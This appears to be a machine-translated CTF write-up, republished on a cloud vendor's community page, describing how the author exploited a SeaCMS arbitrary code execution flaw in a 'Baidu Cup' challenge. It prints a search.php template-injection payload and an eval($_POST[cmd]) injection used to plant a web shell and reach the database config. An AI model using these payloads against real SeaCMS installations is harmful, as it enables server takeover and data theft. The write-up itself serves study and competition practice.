I spring and autumn--"Baidu Cup" CTF competition September field--test (Ocean cms/seacms Arbitrary Code Execution Vulnerability)

Source: Internet
Author: User

Open discovery is Marine CMS, then search for related vulnerabilities

Found an article describing the command execution vulnerability of Marine CMS: Https://www.jianshu.com/p/ebf156afda49

Direct use of the POC given therein

/search.php

Searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter} &letter=al{searchpage:lang}&yuyan= (join{searchpage:jq}&jq= ($_p{searchpage:ver}&&ver=ost[9) )) &9[]=ph&9[]=pinfo ();

System commands can be executed

Did not find the flag, consider possible in the database, want to upload a sentence, and then use a chopper to check the database again, but no permission to write files, manually check the database feel too troublesome, so change exp

Marine cms v6.28 Command Execution vulnerability: https://www.uedbox.com/seacms-v628-0day/

/search.php?searchtype=5&tid=&area=eval ($_post[cmd])

Kitchen Knife Direct connection

Looking for a long time finally found the database configuration file

Edit the shell configuration as follows

Finally get flag

I spring and autumn--"Baidu Cup" CTF competition September field--test (Ocean cms/seacms Arbitrary Code Execution Vulnerability)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.